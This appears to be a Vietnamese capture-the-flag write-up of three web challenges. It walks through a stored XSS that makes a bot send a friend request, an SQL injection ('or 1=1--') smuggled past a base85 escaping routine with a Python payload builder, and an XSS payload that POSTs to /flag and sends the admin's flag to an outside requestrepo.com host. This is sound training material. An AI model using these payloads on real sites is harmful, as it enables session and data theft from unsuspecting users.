Mọi cái res đều trả về cookie với bằng cách set httpOnly: true, khi đó script không thể leak được cookie ra ngoài. Ở đây sau khi đăng ký tài khoản tài khoảng vào pass được set trong một map = [] có tên là accounts
Ở đây /friend kiểm tra username của friend, chú ý rằng nếu friend đó có tên bạn rồi thì sẽ response ra res.status(400).send("Already metafriended"); còn nếu không thì friend đó sẽ push mình vào danh sách -> có nghĩa là khi mình gửi kết bạn thì người đó thấy mình nhưng mình k thấy họ kiểu thế.
Ở đây như mình đã nói ban đầu thì /post có thể XSS nhưng ở đây chúng ta sẽ tạo script để gửi tới bot gửi kết bạn tới chúng ta, chúng ta có một function friend ở source code:
Chèn script này vào post rồi lấy link post gửi cho bot.
Flag: lactf{please_metaget_me_out_of_here}
85_reasons_why
Mình đã lòng vòng một lúc trong trang này xem có gì không thì mình không khai thác được gì. Lúc bấy giờ mình quyết định tải code về đọc.
Đọc tới file views.py mình thấy một đoạn code như sau:
spic =serialize_image(incoming_file.read())try: res = db.session.connection().execute(\text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))exceptException:return ("SQL error encountered",500)
Ở đây có thể khai thác sql injection -> kiểu như: ' or 1=1--
Nhưng ở đây có một cái nữa là khi ảnh được up lên để search thì nó đi qua một hàm serialize_image\
Hàm này được code ở utils.py
defserialize_image(pp): b85 = base64.a85encode(pp) b85_string = b85.decode('UTF-8', 'ignore')# identify single quotes, and then escape them b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string) b85_string = re.sub('\'', '\'\'', b85_string) b85_string = re.sub('~', '\'', b85_string) b85_string = re.sub('\\:', '~', b85_string)return b85_stringdefdeserialize_image(b85): ret = b85 ret = re.sub('~', ':', b85) raw_image = base64.a85decode(ret) b64 = base64.encodebytes(raw_image).decode('UTF-8')return'data:image/png;base64, '+ b64defdeserialize_images(post): ret = []for i inrange(len(post.images)):# It's no longer b85 but oh well ret.append(deserialize_image(post.images[i].b85_image))return ret
Ở đây hàm serialize_image() thự hiện a85endcode (Encode the bytes-like objectb using base85 and return the encoded bytes.). Sau đó nó decode base85 và lọc đi các ký tự.
Một cái nữa là base85 không decode ra khoảng trắng, mình đã test payload nhưng print nó ra thì không được: bypass khoảng trắng = /**/
Payload sẽ như sau:
import base64import redefserialize_image(pp): b85 = base64.a85encode(pp) b85_string = b85.decode('UTF-8', 'ignore')# identify single quotes, and then escape them b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)print(f'1 {b85_string}') b85_string = re.sub('\'', '\'\'', b85_string)print(f'2 {b85_string}') b85_string = re.sub('~', '\'', b85_string)print(f'3 {b85_string}') b85_string = re.sub('\\:', '~', b85_string)print(f'4 {b85_string}')return b85_stringpayload ="\\\\\\'/**/or/**/1=1--"# ' or 1=1 --print(serialize_image(base64.a85decode(payload)))#write byte in payloadf =open("payload", "wb")f.write(base64.a85decode(payload))
The follow code ở file utils.py chúng ta có đoạn payload như trên, payload trên giúp chúng ta sau những lần re.sub() ->' or 1=1 --
Bài này khá hay, nó có kiến thức mình vừa học, bài có source code trước nên chúng ta bắt tay vào review thôi.
constexpress=require("express");constpath=require("path");const { v4: uuid } =require("uuid");constcookieParser=require("cookie-parser");constflag=process.env.FLAG;constport=parseInt(process.env.PORT) ||8080;constadminpw=process.env.ADMINPW||"placeholder";constapp=express();constreports=newMap();let cleanup = [];setInterval(() => {constnow=Date.now();let i =cleanup.findIndex(x => now < x[1]);if (i ===-1) { i =cleanup.length; }for (let j =0; j < i; j ++) {reports.delete(cleanup[j][0]); } cleanup =cleanup.slice(i);},1000*60);app.use(cookieParser());app.use(express.urlencoded({ extended:false }));app.get("/flag", (req, res) => {res.status(400).send("you have to POST the flag this time >:)");});app.post("/flag", (req, res) => {if (req.cookies.adminpw === adminpw) {res.send(flag); } else {res.status(400).send("no hacking allowed"); }});app.use((req, res, next) => {res.set("Content-Security-Policy","default-src 'none'; script-src 'unsafe-inline'" );next();});app.post("/report", (req, res) => {res.type("text/plain");constcrime=req.body.crime;if (typeof crime !=="string") {res.status(400).send("no crime provided");return; }if (crime.length>2048) {res.status(400).send("our servers aren't good enough to handle that");return; }constid=uuid();reports.set(id, crime);cleanup.push([id,Date.now() +1000*60*60*3]);res.redirect("/report/"+ id);});app.get("/report/:id", (req, res) => {if (reports.has(req.params.id)) {res.type("text/html").send(reports.get(req.params.id)); } else {res.type("text/plain").status(400).send("report doesn't exist"); }});app.get("/", (req, res) => {res.sendFile(path.join(__dirname,"index.html"));});app.listen(port, () => {console.log(`Listening on port ${port}`);});
Chúng ta chú ý rằng ở đây / được set header Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'
default-src 'none' -> không thể load được tài nguyên từ domain khác kể cả server
Đây có điều đang nói là CSP này nó ảnh hưởng trừ / xuống dưới(next()) còn ở /flag thì không.
Phân tích đoạn code sau:
/flag phải sử dụng method POST tới /flag, nếu mà cookie thuộc admin thì resp ra flag còn không thì no hacking alllowed.
Chúng ta sẽ sử dụng window.open() để mở /flag ra sau đó show /flag của admin tới sever của mình.(Giống một bài mình từng làm ở giải Wrek CTF)
Payload sẽ như sau:
<formmethod="POST"id="form"action="/flag"target='shang'></form><script>//Ở đây k cần truyền url, nó sẽ tự target cùng name với nhau.constw=window.open('','shang')form.submit()setTimeout(() => { location ='http://dn17ybmm.requestrepo.com?flag='+w.document.body.innerText },500)</script>l
Cảm ơn mọi người đã đọc bài mình viết, trên đây chỉ có một vài bài mình cảm thấy hay và mình quyết định viết solution....Hẹn gặp các bạn vào giải tiếp theo!!!